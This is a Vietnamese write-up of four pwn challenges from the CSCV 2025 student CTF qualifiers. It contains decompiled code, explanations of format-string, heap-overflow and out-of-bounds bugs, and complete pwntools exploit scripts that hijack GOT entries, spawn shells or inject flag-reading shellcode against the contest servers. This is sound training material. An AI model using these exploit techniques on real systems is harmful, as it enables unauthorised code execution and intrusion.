---
# System prepended metadata

title: Writeup Quals CyberSecurity Student Contest Viet Nam 2025 - Pwn
tags: [writeup]

---

# Writeup Quals CyberSecurity Student Contest Viet Nam 2025 - Pwn
- Những bài mình đã giải được:
![image](https://hackmd.io/_uploads/rJ8XwOd0ee.png)
- Link challenge: [Quals CSCV CTF 2025](https://github.com/nhh9905/CTF/tree/main/CSCV2025)
# RacehorseS
![image](https://hackmd.io/_uploads/r16fmCbRll.png)
## Pseudo code
```C=
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 i; // [rsp+10h] [rbp-430h]
  unsigned __int64 j; // [rsp+18h] [rbp-428h]
  size_t v6; // [rsp+20h] [rbp-420h]
  size_t v7; // [rsp+28h] [rbp-418h]
  char s[1032]; // [rsp+30h] [rbp-410h] BYREF
  unsigned __int64 v9; // [rsp+438h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  memset(s, 0, 1024u);
  printf("Say something: ");
  if ( fgets(s, 1024, stdin) )
  {
    v6 = strlen(s);
    if ( v6 && s[v6 - 1] == 10 )
      s[v6 - 1] = 0;
    v7 = strlen(s);
    if ( !v7 )
      strcpy(s, "(silence)");
    putchar(32);
    for ( i = 0; i < v7 + 2; ++i )
      putchar(95);
    printf("\n< ");
    printf(s);
    puts(" >");
    for ( j = 0; j < v7 + 2; ++j )
      putchar(45);
    putchar(10);
    puts("        \\   ^__^");
    puts("         \\  (oo)\\_______");
    puts("            (__)\\       )\\/\\");
    puts("                ||-----||");
    puts("                ||     ||");
    puts(&byte_402096);
    exit(0);
  }
  return 0;
}
```
## Exploit
- Checksec:
![image](https://hackmd.io/_uploads/ry1xEAWCee.png)
- Đọc source code thì ta thấy ngay lỗ hổng format string, kết hợp với đó các chế độ bảo vệ không được bật, do đó ta sẽ khai thác triệt để lỗ hổng này.
- Leak libc và ghi đè `puts` -> `main`:
![Screenshot 2025-10-19 100349](https://hackmd.io/_uploads/SJazBAbCxe.png)
![image](https://hackmd.io/_uploads/rkMVHCZRlg.png)
![image](https://hackmd.io/_uploads/BkXSrAbCxg.png)
- Ghi đè `strlen` -> `system`:
![image](https://hackmd.io/_uploads/SJXKBRWClg.png)
![image](https://hackmd.io/_uploads/S1X5rRZAlx.png)
- Nhập `/bin/sh` và lấy được shell:
![image](https://hackmd.io/_uploads/Skk0SCZAlg.png)
![image](https://hackmd.io/_uploads/HJxkI0ZRgl.png)

## Remote server
- Đoạn này ta phải xử lý captcha rồi mới tiếp tục thực hiện nhập dữ liệu:
![Screenshot 2025-10-19 100746](https://hackmd.io/_uploads/SkM-8C-Cee.png)
- Xử lý: Quá trình nhập bằng tay:
![Screenshot 2025-10-19 100907](https://hackmd.io/_uploads/H1FILC-0gg.png)
![image](https://hackmd.io/_uploads/HJLPLRWAle.png)
- Dùng code xử lý:
```python=
p.recvuntil(b'work: ')
curl_command = p.recvuntil(b'\n', drop=True)
captcha_solution = subprocess.check_output(curl_command, shell=True)
p.sendafter(b"solution: ", captcha_solution)
```
![Screenshot 2025-10-19 101125](https://hackmd.io/_uploads/BJTCICb0xg.png)
## Full Script
```python=
#!/usr/bin/env python3

from pwn import *

# ENV
PORT = 6789
HOST = "pwn1.cscv.vn"
exe = context.binary = ELF('./horse_say_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)

def GDB():
    if not args.r:
        gdb.attach(p, gdbscript='''
            source /home/nhh/pwndbg/gdbinit.py
            b* 0x00000000004013F1
            b* 0x000000000040145A
            b* 0x0000000000401380
            c
            set follow-fork-mode parent
            ''')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    p = remote(HOST, PORT)
else:
    p = exe.process()


# VARIABLE
putchar_got = exe.got.putchar
puts_got = exe.got.puts
printf_got = exe.got.printf
strlen_got = exe.got.strlen
main = exe.sym.main
gadget = [0x583ec, 0x583f3, 0xef4ce, 0xef52b]

# PAYLOAD
p.recvuntil(b'work: ')
curl_command = p.recvuntil(b'\n', drop=True)
captcha_solution = subprocess.check_output(curl_command, shell=True)
p.sendafter(b"solution: ", captcha_solution)

payload = b'%141$p|%143$p|%9$p|'
payload += f'%{main - 49 & 0xffff}c%16$hn'.encode()
payload = payload.ljust(0x20, b'a')
payload += p64(puts_got)
p.sendlineafter(b'something: ', payload)
p.recvuntil(b'< ')
canary = int(p.recvuntil(b'|', drop=True), 16)
log.info("Canary: " + hex(canary))
libc_leak = int(p.recvuntil(b'|', drop=True), 16)
libc.address = libc_leak - libc.sym.__libc_start_call_main - 122
log.info("Libc base: " + hex(libc.address))
ld_leak = int(p.recvuntil(b'|', drop=True), 16)
ld.address = ld_leak - 0x392e0
log.info("Ld base: " + hex(ld.address))
system = libc.sym.system

package = {
    system & 0xffff: strlen_got,
    system >> 16 & 0xffff: strlen_got + 2,
}
order = sorted(package)

payload = f'%{order[0]}c%16$hn'.encode()
payload += f'%{order[1] - order[0]}c%17$hn'.encode()
payload = payload.ljust(0x20, b'a')
payload += flat(
    package[order[0]],
    package[order[1]],
    )
p.sendlineafter(b'something: ', payload)

p.sendlineafter(b'something: ', b'/bin/sh')

p.sendline(b'cat flag')

p.interactive()
```
## Flag
`CSCV2025{k1m1_n0_4184_64_2ukyun_d0kyun_h45h1r1d35h1}`
# Heap NoteS
![image](https://hackmd.io/_uploads/HJBHw0bRxx.png)
## Pseudo code
- Restruct lại code:
![image](https://hackmd.io/_uploads/HyU5U-8Vbx.png)
- `create_note()`:
![image](https://hackmd.io/_uploads/rJ6OL-84bl.png)
- `read_note()`:
![image](https://hackmd.io/_uploads/HkK2LWUVWx.png)
- `write_note()`:
![image](https://hackmd.io/_uploads/rkXpU-UEZl.png)
## Exploit
- Checksec:
![image](https://hackmd.io/_uploads/SycruR-0le.png)
- Đọc hàm `write_note()` dễ dàng thấy được lỗ hổng `heap overflow` khi nhập dữ liệu bằng `gets`.
- Cách thức hoạt động của các chunk thông qua `g_note` bằng danh sách liên kết đơn (singly linked list). Do đó ta chỉ cần bẻ gãy linked list và chèn vào 1 địa chỉ hợp lệ là có thể tấn công.
![Screenshot 2025-10-19 130453](https://hackmd.io/_uploads/Bk8n1ZGCex.png)
`g_note -> 0x165e12a0 -> 0x165e12e0 -> NULL`
- Trong đó: `*ptr = idx, *(ptr + 8) = ptr->next`
### Leak libc
- Mục tiêu của mình là leak libc ở phân vùng biến toàn cục. Do đó, mình sẽ fake idx trên phân vùng đó và ghi đè vào linked list.
![Screenshot 2025-10-19 131142](https://hackmd.io/_uploads/BkA4GbfAxl.png)
> Màu vàng: index (idx)
> Màu xanh: ptr->next
> Màu đỏ: data

- Lúc này danh sách của chúng ta là:
`g_note -> 0x165e12a0 -> 0x165e12e0 -> 0x404050 -> NULL`
- Thành công leak được libc:
![image](https://hackmd.io/_uploads/rklDfZzAeg.png)
### Overwrite gets
- Hãy cùng xem bảng GOT ở phía dưới, để ghi đè được `gets` thì ptr = `setbuf`.
![image](https://hackmd.io/_uploads/HyG5GZMRel.png)
- Làm tương tự như leak libc, ta thành công ghi đè `gets` -> `system`:
![image](https://hackmd.io/_uploads/r1ZQXbfCgx.png)
![image](https://hackmd.io/_uploads/SyamQ-f0eg.png)
- Thành công lấy được shell:
![Screenshot 2025-10-19 132135](https://hackmd.io/_uploads/r1znN-GRlx.png)
![image](https://hackmd.io/_uploads/rygnQZMRee.png)
- Remote server:
![image](https://hackmd.io/_uploads/B10AXZz0lx.png)
## Full Script
```python=
#!/usr/bin/env python3

from pwn import *

# ENV
PORT = 3333
HOST = "pwn2.cscv.vn"
exe = context.binary = ELF('./challenge_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)

def GDB():
    if not args.r:
        gdb.attach(p, gdbscript='''
            source /home/nhh/pwndbg/gdbinit.py
            b* 0x0000000000401466
            b* 0x00000000004013B1
            c
            set follow-fork-mode parent
            ''')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    p = remote(HOST, PORT)
else:
    p = exe.process()

def add():
    p.sendlineafter(b'> ', str(1))

def show(idx):
    p.sendlineafter(b'> ', str(2))
    p.sendlineafter(b'Index: ', str(idx))

def write(idx, data):
    p.sendlineafter(b'> ', str(3))
    p.sendlineafter(b'Index: ', str(idx))
    p.sendline(data)

# VARIABLE
exit_got = exe.got.exit
setbuf_got = exe.got.setbuf

# PAYLOAD
for i in range(2):
    add()

payload = b'\0'*0x28 + p64(0x41) + p64(1) + p64(exit_got)
write(0, payload)

payload = p64(0) + p64(0x10)
write(0x4010a0, payload)

payload = b'\0'*0x28 + p64(0x41) + p64(1) + p64(0x404050)
write(0, payload)

show(0x10)
libc_leak = u64(p.recv(6) + b'\0'*2)
libc.address = libc_leak - libc.sym._IO_2_1_stdout_
log.info("Libc base: " + hex(libc.address))
system = libc.sym.system
bin_sh = next(libc.search(b'/bin/sh'))
setbuf = libc.sym.setbuf

payload = b'\0'*0x28 + p64(0x41) + p64(1) + p64(setbuf_got)
write(0, payload)

write(1, b'/bin/sh')

write(setbuf & 0xffffffff, p64(system))

p.sendlineafter(b'> ', str(3))
p.sendlineafter(b'Index: ', str(1))

p.sendline(b'cat flag.txt')

p.interactive()
```
## Flag
`CSCV2025{313487590c9dbf64bdd49d7e76980965}`
# SudokuS
![image](https://hackmd.io/_uploads/SJiXB-MAxg.png)
- Đây là 1 challenge khó liên quan đến việc viết shellcode dựa trên những số đã có sẵn trên bảng `BOARD` (81 số).
![Screenshot 2025-10-19 133036](https://hackmd.io/_uploads/By7gLZz0gx.png)
- Sau khi tham khảo writeup của `vietnq` thì mình đã tìm ra được những điểm mấu chốt sau:
    - Tận dụng lỗ hổng Out-of-bound để ghi đè ngoài bảng `BOARD`.
    - Tạo thêm 1 syscall `read` nữa để nhập shellcode thực hiện các thao tác: mở file `/flag`, đọc flag, in flag.

Bây giờ chúng ta hãy cùng mổ xẻ bài này.
## Pseudo code
- Hàm `main()`: có khởi tạo seccomp.
```C=
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+8h] [rbp-8h] BYREF
  int size; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  init_sec_comp();
  puts("=== CSCV2025 - SudoShell ===");
  usage();
  printf("> ");
  size = __isoc99_scanf("%d", &choice);
  if ( size <= 0 )
  {
    perror("scanf failed");
    exit(1);
  }
  switch ( choice )
  {
    case 1:
      start_game();
      break;
    case 2:
      exit(0);
    case 3:
      help();
      break;
  }
  return 0;
}
```
- Ta chỉ cần quan tâm hàm `start_game()`:
```C=
__int64 start_game()
{
  unsigned __int8 num; // [rsp+Dh] [rbp-23h] BYREF
  unsigned __int8 col; // [rsp+Eh] [rbp-22h] BYREF
  unsigned __int8 row; // [rsp+Fh] [rbp-21h] BYREF
  char buf[28]; // [rsp+10h] [rbp-20h] BYREF
  int size; // [rsp+2Ch] [rbp-4h]

  num = 0;
  printf("What's your name? ");
  size = read(0, buf, 39u);
  if ( size <= 0 )
  {
    perror("read failed");
    exit(1);
  }
  buf[size] = 0;
  printf("Welcome %s\n", buf);
  initBOARD();
  while ( 1 )
  {
    displayBOARD();
    if ( (unsigned __int8)isComplete() )
    {
      puts("Congratulations!");
      return 0;
    }
    printf("> ");
    size = __isoc99_scanf("%hhu %hhu %hhu", &row, &col, &num);
    if ( size <= 0 )
    {
      perror("scanf failed");
      exit(1);
    }
    if ( !row && !col && !num )
      break;
    if ( (unsigned __int8)canEdit(--row, --col) != 1 || (unsigned __int8)isValid(row, col, num) != 1 )
      puts("Invalid input!");
    else
      BOARD[9 * row + col] = num;
  }
  puts("Bye!");
  return 0;
}
```
- `canEdit()`: kiểm tra xem ô đó có được sửa không.
```C=
bool __fastcall canEdit(unsigned __int8 row, unsigned __int8 col)
{
  return ORIGINAL[9 * row + col] == 0;
}
```
- `isValid()`: kiểm tra xem ô đó có chứa số nào khác 0 không.
```C=
__int64 __fastcall isValid(unsigned __int8 row, unsigned __int8 col, unsigned __int8 num)
{
  signed int m; // [rsp+1Ch] [rbp-10h]
  signed int k; // [rsp+20h] [rbp-Ch]
  int j; // [rsp+24h] [rbp-8h]
  int i; // [rsp+28h] [rbp-4h]

  for ( i = 0; i <= 8; ++i )
  {
    if ( BOARD[9 * row + i] == num && i != col )
      return 0;
  }
  for ( j = 0; j <= 8; ++j )
  {
    if ( BOARD[9 * j + col] == num && j != row )
      return 0;
  }
  for ( k = 3 * (row / 3u); k <= (int)(3 * (row / 3u) + 2); ++k )
  {
    for ( m = 3 * (col / 3u); m <= (int)(3 * (col / 3u) + 2); ++m )
    {
      if ( BOARD[9 * k + m] == num && (k != row || m != col) )
        return 0;
    }
  }
  return 1;
}
```
## Exploit
- Kiểm tra các syscall bị chặn:
![image](https://hackmd.io/_uploads/H1U5djVCgx.png)
- Checksec:
![image](https://hackmd.io/_uploads/ByXuNt40gx.png)
- Tuy NX được bật nhưng shellcode được thực thi ở phân vùng khác có full quyền nên ta không cần lo vấn đề này.
- PIE tắt nên ta có địa chỉ tĩnh.
- Trong hàm `start_game()` có lỗ hổng buffer overflow cho phép ta ghi đè vào `saved rbp`.
- Dưới đây mình sẽ trình bày chi tiết cách làm bài này:
### Ghi đè `0x4041b0 -> 0x4040f5`
- Trong hàm `start_game()` khai báo col bằng kiểu dữ liệu `unsigned __int8` do đó range nằm trong khoảng `-256 -> 255`.
- Khi đó, ta nhập `-45` chương trình sẽ hiểu `col = 255 - 45 = 210`.
![Screenshot 2025-10-21 110645](https://hackmd.io/_uploads/r1vRItNAel.png)
```python=
p.sendlineafter(b'> ', b'1 -45 64')
p.sendlineafter(b'> ', b'1 -46 64')
p.sendlineafter(b'> ', b'1 -47 245')
```
- Thành công cho chương trình nhảy vào địa chỉ `0x4040f5`, ta tiếp tục ghi đè vào địa chỉ này.
![image](https://hackmd.io/_uploads/S1x7vFEAge.png)
### Tạo gadget `call   qword ptr [rsp + 0x5]`
```python=
# 0x4040f5 <BOARD+21>          call   qword ptr [rsp + 0x5]       <0x4041c5>
p.sendlineafter(b'> ', b'3 4 255')
p.sendlineafter(b'> ', b'3 5 84')

p.sendlineafter(b'> ', b'3 6 36')
p.sendlineafter(b'> ', b'3 7 5')
```
- Gọi gadget thành công, tuy nhiên trong `[rsp + 0x5]` không có dữ liệu, do đó ta ghi đè 1 địa chỉ hợp lệ vào đây.
![image](https://hackmd.io/_uploads/SyHPpjNRxg.png)
### Ghi đè vào `0x4041bd -> 0x4041c5`
```python=
p.sendlineafter(b'> ', b'1 -32 64')
p.sendlineafter(b'> ', b'1 -33 65')
p.sendlineafter(b'> ', b'1 -34 197')
```
![Screenshot 2025-10-21 135254](https://hackmd.io/_uploads/rkKa6jEAlg.png)
- Bây giờ ta viết shellcode hàm `read` vào địa chỉ `0x4041c5`.
### Tạo shellcode `read`
- Ta sẽ cho tham số thứ 2 (rsi) trỏ tới vùng nhớ gần với địa chỉ tiếp theo sau syscall `read` này để chèn shellcode thực hiện in flag.
```python=
# 0x4041c5    mov    edx, 0x100
p.sendlineafter(b'> ', b'1 -26 72')
p.sendlineafter(b'> ', b'1 -25 199')
p.sendlineafter(b'> ', b'1 -24 194')
p.sendlineafter(b'> ', b'1 -23 0')
p.sendlineafter(b'> ', b'1 -22 1')
p.sendlineafter(b'> ', b'1 -21 0')
p.sendlineafter(b'> ', b'1 -20 0')

# 0x4041cc    mov    rsi, rsp
p.sendlineafter(b'> ', b'1 -19 72')
p.sendlineafter(b'> ', b'1 -18 137')
p.sendlineafter(b'> ', b'1 -17 230')

# 0x4041cf    mov    rdi, rax
p.sendlineafter(b'> ', b'1 -16 72')
p.sendlineafter(b'> ', b'1 -15 137')
p.sendlineafter(b'> ', b'1 -14 199')

# 0x4041d2    syscall  <SYS_read>
p.sendlineafter(b'> ', b'-240 -147 5')
p.sendlineafter(b'> ', b'1 -13 15')
```
![Screenshot 2025-10-21 135413](https://hackmd.io/_uploads/SJfMRj40ex.png)
### Nhập shellcode
```python=
flag = 0x4041b0
payload = b'/flag\0'
payload = payload.ljust(0x24,b'\0')

# 0x4041d4
shellcode = asm(f'''
    mov rdi, {flag}
    mov rsi, 0
    mov rdx, 0
    mov rax, 2
    syscall

    mov rdi, rax
    mov rsi, {rw_section}
    mov rdx, 0x50
    mov rax, 0
    syscall

    mov rdi, 1
    mov rsi, {rw_section}
    mov rdx, 0x50
    mov rax, 0x1
    syscall
    ''', arch= 'amd64')
payload += shellcode
p.send(payload)
```
- Thành công chèn shellcode:
![Screenshot 2025-10-21 111825](https://hackmd.io/_uploads/Hy_5Kt4Ceg.png)
- In flag:
![image](https://hackmd.io/_uploads/SyAjtYEAxg.png)
![image](https://hackmd.io/_uploads/B1WatYN0le.png)
- Remote server:
![image](https://hackmd.io/_uploads/H1TRKYNAll.png)
## Full Script
```python=
#!/usr/bin/env python3

from pwn import *

# ENV
PORT = 5555
HOST = "pwn3.cscv.vn"
exe = context.binary = ELF('./sudoshell', checksec=False)
# libc = ELF('./libc.so.6', checksec=False)
# ld = ELF('', checksec=False)

def GDB():
    if not args.r:
        gdb.attach(p, gdbscript='''
            source /home/nhh/pwndbg/gdbinit.py
            b* 0x0000000000401C77
            b* 0x0000000000401C9C
            b* 0x0000000000401CF5
            c
            set follow-fork-mode parent
            ''')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    p = remote(HOST, PORT)
else:
    p = exe.process()

# VARIABLE
board = 0x4040e0
main = exe.sym.main
printf_got = exe.got.printf

# PAYLOAD
p.sendlineafter(b'> ', str(1))

rw_section = 0x404280
payload = b'1'*0x20 + p64(0x4041b0 - 8)[:-1]
p.sendafter(b'? ', payload)

# 0x4040f5 <BOARD+21>          call   qword ptr [rsp + 0x5]       <0x4041c5>
p.sendlineafter(b'> ', b'3 4 255')
p.sendlineafter(b'> ', b'3 5 84')

p.sendlineafter(b'> ', b'3 6 36')
p.sendlineafter(b'> ', b'3 7 5')

# 255 - 45 = 0xd2
# 0x4041b0 -> 0x4040f5
p.sendlineafter(b'> ', b'1 -45 64')
p.sendlineafter(b'> ', b'1 -46 64')
p.sendlineafter(b'> ', b'1 -47 245')

# 0x4041bd -> 0x4041c5
p.sendlineafter(b'> ', b'1 -32 64')
p.sendlineafter(b'> ', b'1 -33 65')
p.sendlineafter(b'> ', b'1 -34 197')

# 0x4041c5    mov    edx, 0x100
p.sendlineafter(b'> ', b'1 -26 72')
p.sendlineafter(b'> ', b'1 -25 199')
p.sendlineafter(b'> ', b'1 -24 194')
p.sendlineafter(b'> ', b'1 -23 0')
p.sendlineafter(b'> ', b'1 -22 1')
p.sendlineafter(b'> ', b'1 -21 0')
p.sendlineafter(b'> ', b'1 -20 0')

# 0x4041cc    mov    rsi, rsp
p.sendlineafter(b'> ', b'1 -19 72')
p.sendlineafter(b'> ', b'1 -18 137')
p.sendlineafter(b'> ', b'1 -17 230')

# 0x4041cf    mov    rdi, rax
p.sendlineafter(b'> ', b'1 -16 72')
p.sendlineafter(b'> ', b'1 -15 137')
p.sendlineafter(b'> ', b'1 -14 199')

# 0x4041d2    syscall  <SYS_read>
p.sendlineafter(b'> ', b'-240 -147 5')
p.sendlineafter(b'> ', b'1 -13 15')

p.sendlineafter(b'> ', b'0 0 0')

flag = 0x4041b0
payload = b'/flag\0'
payload = payload.ljust(0x24,b'\0')

# 0x4041d4
shellcode = asm(f'''
    mov rdi, {flag}
    mov rsi, 0
    mov rdx, 0
    mov rax, 2
    syscall

    mov rdi, rax
    mov rsi, {rw_section}
    mov rdx, 0x50
    mov rax, 0
    syscall

    mov rdi, 1
    mov rsi, {rw_section}
    mov rdx, 0x50
    mov rax, 0x1
    syscall
    ''', arch= 'amd64')
payload += shellcode
p.send(payload)

p.interactive()
```
## Flag
`CSCV2025{Y0u_kn0w_h0w_t0_bu1ld_sh4llc03}`
# Hanoi Convention
![image](https://hackmd.io/_uploads/S1FGI-zRee.png)
- Ở bài này thì mình đã thấy lỗ hổng để khai thác, tuy nhiên vấn đề khó nhất nằm ở chỗ các câu hỏi ta phải bruteforce trên server để lấy được toàn bộ dữ liệu, đồng thời ta phải tìm được câu trả lời đúng cho mỗi câu hỏi.
- Sau khi giải kết thúc thì mình đã dành thời gian nghiên cứu và cuối cùng đạt được kết quả mong muốn.
- Tất cả mọi thứ đều nằm trong này: [Hanoi Convention](https://github.com/nhh9905/CTF/blob/main/CSCV2025/quiz.zip)
## Pseudo code
- Vì source code khá dài và nhiều chức năng nên mình sẽ không đề cập ở đây.
- Tuy nhiên trước khi đi vào khai thác thì chúng ta cần patch lại file để việc debug diễn ra nhanh hơn bằng cách sửa `usleep(0xF4240u)` -> `usleep(0)`.
![image](https://hackmd.io/_uploads/SJRXSL_Cge.png)
- Chọn `Edit` -> `Patch Program` -> `Assemble`.
![image](https://hackmd.io/_uploads/SkDwSUOAgx.png)
- Chọn `Edit` -> `Patch Program` -> `Apply patches to input file`.
![image](https://hackmd.io/_uploads/B1yMIIdAgx.png)
- Kiểm tra bằng pwndbg và đã patch thành công.
![Screenshot 2025-10-24 083040](https://hackmd.io/_uploads/rJh3UL_Cee.png)
## Exploit
- Checksec:
![image](https://hackmd.io/_uploads/SJhgvLORll.png)
- Trước khi đi vào cách bypass các câu hỏi thì mình sẽ liệt kê các lỗ hổng có trong bài để thuận tiện cho việc khai thác:
    - `fn_show_player_info_1FEE()`: lỗ hổng format string.
    ```C=
    __printf_chk(1, gn_activity_log_60A0);
    ```
    - `fn_start_quiz_2183()`: lỗ hổng buffer overflow nếu `gn_rank_level_612C > 19 && (unsigned int)gn_score_6120 > 0x7CF`.
    ```C=
    char buf[200]; // [rsp+F0h] [rbp-D0h] BYREF
    size = read(0, buf, 0xE0u);
    ```
    - `fn_edit_player_name_if_rank_ge_5_2660()`: lỗ hổng buffer overflow.
    ```C=
    strcpy(gn_player_name_60E0, s);
    ```
### Leak database
- Công đoạn này làm khá tốn thời gian (30p) và theo suy đoán thì mình cũng chưa leak được hết toàn bộ số câu hỏi.
- Sử dụng script sau để leak các câu hỏi, sau đó mình sử dụng AI thần chưởng thì có được file `questions.json`.
- Script và file `json` nằm trong file `zip`.
### Bypass questions
- Trước hết chúng ta phải xác định mục đích của việc bypass này:
`trả lời đúng 100 câu hỏi -> rank = 5 -> fn_edit_player_name_if_rank_ge_5_2660() -> edit gn_rank_level_612C + gn_score_6120 -> Exploit`
- Lý do tại sao phải trả lời đúng 100 câu hỏi thì ta phải đọc code:
```C=
puts("\n=== END OF QUIZ ===");
printf("You answered %d/%d questions correctly.\n", i, cnt);
printf("Current score: %u\n", gn_score_6120);
if ( (int)i < cnt )
{
  puts("\nYou need to try harder next time to master the rules.");
}
else
{
  puts("\nCONGRATULATIONS! You passed the quiz with an excellent result!");
  ++gn_pass_counter_6124;
  ++gn_total_passed_6128;
  if ( gn_pass_counter_6124 >= gn_rank_level_612C )
  {
    gn_pass_counter_6124 = 0;
    printf(asc_3A38, (unsigned int)++gn_rank_level_612C);
  }
}
```
> Rank 2: 10 câu
> Rank 3: 20 câu
> Rank 4: 30 câu
> Rank 5: 40 câu

- Cách bypass khá đơn giản: chọn câu trả lời dài nhất. Lúc đầu mình cũng nghi ngờ nhưng khi kết nối tới server thì đúng 100%.
![image](https://hackmd.io/_uploads/BJ2NJwdCel.png)
### Leak stack & canary
- Hãy quay lại các lỗ hổng mình liệt kê ở trên. Ở hàm `fn_start_quiz_2183()` ta sẽ tận dụng hàm `snprintf()` đưa dữ liệu lên `gn_activity_log_60A0`.
```C=
snprintf(gn_activity_log_60A0, 0x40u, "You have reached rank %d\nYour thoughts: %s", gn_rank_level_612C, buf);
```
- Trước khi leak dữ liệu thì phải set rank và score sao cho ta có thể tận dụng được lỗ hổng buffer overflow trong hàm `fn_start_quiz_2183()`.
- Thử nhập `%6$p` và cái kết:
![image](https://hackmd.io/_uploads/rJ8DxPOCgx.png)
- Do đó, ta phải nhập payload `%p` hoặc `%s`:
![image](https://hackmd.io/_uploads/rkbW7PdCgl.png)
### Leak libc
- Ghi đè `stack_leak - 0x{xxx}` vào save rbp của hàm `fn_start_quiz_2183()` và tiến hành leak.
- Do đề không cho bất cứ gì ngoài file ELF nên ta phải tiến hành leak tất cả để tìm được libc phù hợp:
- Leak `_IO_2_1_stdout_` trên server:
![Screenshot 2025-10-24 093355](https://hackmd.io/_uploads/Sk0YSvdCeg.png)
- Leak `_IO_file_write`:
![image](https://hackmd.io/_uploads/rJ92rD_Cgg.png)
![image](https://hackmd.io/_uploads/HJ0D0DdRgg.png)
- Trong số các libc mình thử thì có [libc](https://libc.blukat.me/?q=_IO_2_1_stdout_%3A5c0%2C_IO_file_write%3A940&l=libc6_2.39-0ubuntu8.6_amd64) là phù hợp nhất.
### Get shell
- Đến đây thì việc khai thác khá là dễ dàng, tận dụng gadget `leave; ret` để rsp trỏ về `system('/bin/sh')`.
![Screenshot 2025-10-24 101542](https://hackmd.io/_uploads/rJFUJOO0el.png)
![image](https://hackmd.io/_uploads/S1et_JO_Ceg.png)
## Remote server
- Giải mã captcha -> lấy flag.
![image](https://hackmd.io/_uploads/BJ3rM_uCle.png)
## Flag
<details>
  <summary>Flag</summary>

  ```text
  CSCV2025{H4n0i_C0nv3nt10n_C0un73r1ng_Cyb3rcR1m3_Sh4r1ng_R3sp0ns1b1l1ty_S3cur1ng_0ur_Futur3}